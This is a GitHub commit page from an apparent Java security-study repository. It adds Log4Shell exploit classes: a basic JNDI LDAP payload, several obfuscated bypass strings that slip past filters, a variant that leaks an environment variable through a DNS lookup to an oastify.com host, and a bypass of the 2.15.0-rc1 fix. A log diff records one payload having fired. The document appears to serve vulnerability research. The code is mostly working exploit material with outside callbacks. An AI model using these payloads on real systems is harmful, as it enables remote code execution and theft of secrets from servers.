Skip to content

Commit 31c90e4

Browse files
committed
🆕 新增 log4j2,fastjson,以及 base64 脚本呢
1 parent 83c6db6 commit 31c90e4

18 files changed

Lines changed: 192 additions & 120 deletions

File tree

Lines changed: 29 additions & 119 deletions
Original file line numberDiff line numberDiff line change
@@ -1,162 +1,72 @@
11
=========================================
22
日志级别:INFO
3-
日志时间:2022-08-10 21:36:00,970
3+
日志时间:2022-08-12 17:03:18,810
44
所属类名:java.util.function.LongFunction
55
所属线程:main
6-
日志信息:info level
7-
=========================================
8-
日志级别:WARN
9-
日志时间:2022-08-10 21:36:00,975
10-
所属类名:java.util.function.LongFunction
11-
所属线程:main
12-
日志信息:warn level
13-
=========================================
14-
日志级别:ERROR
15-
日志时间:2022-08-10 21:36:00,975
16-
所属类名:java.util.function.LongFunction
17-
所属线程:main
18-
日志信息:error level
19-
=========================================
20-
日志级别:FATAL
21-
日志时间:2022-08-10 21:36:00,975
22-
所属类名:java.util.function.LongFunction
23-
所属线程:main
24-
日志信息:fatal level
6+
日志信息:User [foo=1] login in!
257
=========================================
268
日志级别:INFO
27-
日志时间:2022-08-10 21:39:43,865
9+
日志时间:2022-08-12 17:11:57,652
2810
所属类名:java.util.function.LongFunction
2911
所属线程:main
30-
日志信息:info level
31-
=========================================
32-
日志级别:WARN
33-
日志时间:2022-08-10 21:39:43,871
34-
所属类名:java.util.function.LongFunction
35-
所属线程:main
36-
日志信息:warn level
37-
=========================================
38-
日志级别:ERROR
39-
日志时间:2022-08-10 21:39:43,871
40-
所属类名:java.util.function.LongFunction
41-
所属线程:main
42-
日志信息:error level
43-
=========================================
44-
日志级别:FATAL
45-
日志时间:2022-08-10 21:39:43,871
46-
所属类名:java.util.function.LongFunction
47-
所属线程:main
48-
日志信息:fatal level
12+
日志信息:User [foo=1] login in!
4913
=========================================
5014
日志级别:INFO
51-
日志时间:2022-08-10 21:41:30,750
52-
所属类名:java.util.function.LongFunction
53-
所属线程:main
54-
日志信息:info level
55-
=========================================
56-
日志级别:WARN
57-
日志时间:2022-08-10 21:41:30,754
58-
所属类名:java.util.function.LongFunction
59-
所属线程:main
60-
日志信息:warn level
61-
=========================================
62-
日志级别:ERROR
63-
日志时间:2022-08-10 21:41:30,754
64-
所属类名:java.util.function.LongFunction
65-
所属线程:main
66-
日志信息:error level
67-
=========================================
68-
日志级别:FATAL
69-
日志时间:2022-08-10 21:41:30,754
15+
日志时间:2022-08-12 17:17:16,605
7016
所属类名:java.util.function.LongFunction
7117
所属线程:main
72-
日志信息:fatal level
18+
日志信息:User [foo=1] login in!
7319
=========================================
7420
日志级别:INFO
75-
日志时间:2022-08-10 21:41:43,798
76-
所属类名:java.util.function.LongFunction
77-
所属线程:main
78-
日志信息:info level
79-
=========================================
80-
日志级别:WARN
81-
日志时间:2022-08-10 21:41:43,800
82-
所属类名:java.util.function.LongFunction
83-
所属线程:main
84-
日志信息:warn level
85-
=========================================
86-
日志级别:ERROR
87-
日志时间:2022-08-10 21:41:43,801
21+
日志时间:2022-08-12 17:19:18,484
8822
所属类名:java.util.function.LongFunction
8923
所属线程:main
90-
日志信息:error level
91-
=========================================
92-
日志级别:FATAL
93-
日志时间:2022-08-10 21:41:43,801
94-
所属类名:java.util.function.LongFunction
95-
所属线程:main
96-
日志信息:fatal level
24+
日志信息:User [foo=1] login in!
9725
=========================================
9826
日志级别:INFO
99-
日志时间:2022-08-10 21:42:09,101
27+
日志时间:2022-08-12 18:40:06,147
10028
所属类名:java.util.function.LongFunction
10129
所属线程:main
102-
日志信息:info level
103-
=========================================
104-
日志级别:WARN
105-
日志时间:2022-08-10 21:42:09,104
106-
所属类名:java.util.function.LongFunction
107-
所属线程:main
108-
日志信息:warn level
109-
=========================================
110-
日志级别:ERROR
111-
日志时间:2022-08-10 21:42:09,104
112-
所属类名:java.util.function.LongFunction
113-
所属线程:main
114-
日志信息:error level
115-
=========================================
116-
日志级别:FATAL
117-
日志时间:2022-08-10 21:42:09,104
118-
所属类名:java.util.function.LongFunction
119-
所属线程:main
120-
日志信息:fatal level
30+
日志信息:User [foo=1] login in!
12131
=========================================
12232
日志级别:INFO
123-
日志时间:2022-08-10 21:43:11,010
33+
日志时间:2022-08-12 18:47:45,261
12434
所属类名:java.util.function.LongFunction
12535
所属线程:main
126-
日志信息:User Drunkbaby login in!
36+
日志信息:User ${jndi:ldap://mc2b0ll0v5a48aqrj0ikzx1yapgf44.oastify.com} login in!
12737
=========================================
128-
日志级别:WARN
129-
日志时间:2022-08-10 21:43:11,013
38+
日志级别:INFO
39+
日志时间:2022-08-13 10:56:40,276
13040
所属类名:java.util.function.LongFunction
13141
所属线程:main
132-
日志信息:warn level
42+
日志信息:User [foo=1] login in!
13343
=========================================
13444
日志级别:ERROR
135-
日志时间:2022-08-10 21:43:11,014
45+
日志时间:2022-08-13 11:06:28,400
13646
所属类名:java.util.function.LongFunction
13747
所属线程:main
138-
日志信息:error level
48+
日志信息:User [foo=1] login in!
13949
=========================================
140-
日志级别:FATAL
141-
日志时间:2022-08-10 21:43:11,014
50+
日志级别:ERROR
51+
日志时间:2022-08-13 11:07:08,777
14252
所属类名:java.util.function.LongFunction
14353
所属线程:main
144-
日志信息:fatal level
54+
日志信息:User [foo=1] login in!
14555
=========================================
146-
日志级别:INFO
147-
日志时间:2022-08-10 21:48:57,436
56+
日志级别:ERROR
57+
日志时间:2022-08-13 11:23:22,023
14858
所属类名:java.util.function.LongFunction
14959
所属线程:main
150-
日志信息:User Drunkbaby login in!
60+
日志信息:User [foo=1] login in!
15161
=========================================
152-
日志级别:INFO
153-
日志时间:2022-08-10 21:50:00,636
62+
日志级别:ERROR
63+
日志时间:2022-08-13 11:27:48,901
15464
所属类名:java.util.function.LongFunction
15565
所属线程:main
156-
日志信息:User Drunkbaby login in!
66+
日志信息:User [foo=1] login in!
15767
=========================================
158-
日志级别:INFO
159-
日志时间:2022-08-10 21:52:30,218
68+
日志级别:ERROR
69+
日志时间:2022-08-13 12:47:34,214
16070
所属类名:java.util.function.LongFunction
16171
所属线程:main
162-
日志信息:User Windows 10 10.0, architecture: amd64-64 login in!
72+
日志信息:User [foo=1] login in!

‎JavaSecurity/Log4j/BasicLog4j2/pom.xml‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,11 @@
2626
<version>4.12</version>
2727
<scope>test</scope>
2828
</dependency>
29+
<dependency>
30+
<groupId>commons-collections</groupId>
31+
<artifactId>commons-collections</artifactId>
32+
<version>3.2.1</version>
33+
</dependency>
2934
</dependencies>
3035
<properties>
3136
<maven.compiler.source>8</maven.compiler.source>
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import org.apache.logging.log4j.LogManager;
2+
import org.apache.logging.log4j.Logger;
3+
import org.apache.logging.log4j.core.layout.PatternLayout;
4+
5+
import java.util.function.LongFunction;
6+
7+
public class MoreDollarBypass {
8+
public static void main(String[] args) {
9+
Logger logger = LogManager.getLogger(LongFunction.class);
10+
11+
String username = "${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject}";
12+
// String username = "${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";";
13+
// String username = "${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";
14+
// String username = "${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";
15+
// String username = "${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";
16+
17+
logger.info("User {} login in!", username);
18+
}
19+
}
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
import org.apache.logging.log4j.LogManager;
2+
import org.apache.logging.log4j.Logger;
3+
import org.apache.logging.log4j.core.layout.PatternLayout;
4+
5+
import java.util.function.LongFunction;
6+
7+
public class log4j2EXP {
8+
public static void main(String[] args) {
9+
Logger logger = LogManager.getLogger(LongFunction.class);
10+
11+
String username = "${jndi:ldap://127.0.0.1:1234/ExportObject}";
12+
13+
logger.error("User {} login in!", username);
14+
}
15+
}
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
import org.apache.logging.log4j.LogManager;
2+
import org.apache.logging.log4j.Logger;
3+
import org.apache.logging.log4j.core.layout.PatternLayout;
4+
5+
import java.util.function.LongFunction;
6+
7+
public class log4j2URL_DNS {
8+
public static void main(String[] args) {
9+
Logger logger = LogManager.getLogger(LongFunction.class);
10+
11+
String username = "${jndi:ldap://${env:key}.1hj2a0litb8gvybwuy1m16vj8ae02p.oastify.com}";
12+
13+
logger.info("User {} login in!", username);
14+
}
15+
}
Binary file not shown.
820 Bytes
Binary file not shown.
857 Bytes
Binary file not shown.
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>org.example</groupId>
8+
<artifactId>BypassRc1</artifactId>
9+
<version>1.0-SNAPSHOT</version>
10+
<dependencies>
11+
<dependency>
12+
<groupId>org.apache.logging.log4j</groupId>
13+
<artifactId>log4j-core</artifactId>
14+
<version>2.15.0</version>
15+
</dependency>
16+
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
17+
<dependency>
18+
<groupId>org.apache.logging.log4j</groupId>
19+
<artifactId>log4j-api</artifactId>
20+
<version>2.15.0</version>
21+
</dependency>
22+
<dependency>
23+
<groupId>junit</groupId>
24+
<artifactId>junit</artifactId>
25+
<version>4.12</version>
26+
<scope>test</scope>
27+
</dependency>
28+
</dependencies>
29+
<properties>
30+
<maven.compiler.source>8</maven.compiler.source>
31+
<maven.compiler.target>8</maven.compiler.target>
32+
</properties>
33+
34+
</project>
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
import org.apache.logging.log4j.LogManager;
2+
import org.apache.logging.log4j.Logger;
3+
import org.apache.logging.log4j.core.LogEvent;
4+
import org.apache.logging.log4j.core.config.Configuration;
5+
import org.apache.logging.log4j.core.config.DefaultConfiguration;
6+
import org.apache.logging.log4j.core.impl.MutableLogEvent;
7+
import org.apache.logging.log4j.core.pattern.MessagePatternConverter;
8+
9+
import java.util.function.LongFunction;
10+
11+
// 绕过 rc1 的 EXP,Windows 无法触发
12+
public class BypassRc1EXP {
13+
public static void main(String[] args) {
14+
Logger logger = LogManager.getLogger(LongFunction.class);
15+
16+
Configuration configuration = new DefaultConfiguration();
17+
MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,
18+
new String[]{"lookups"});
19+
LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:1234/ ExportObject}"),null);
20+
messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:1234/ ExportObject}"));
21+
}
22+
}

0 commit comments

Comments
 (0)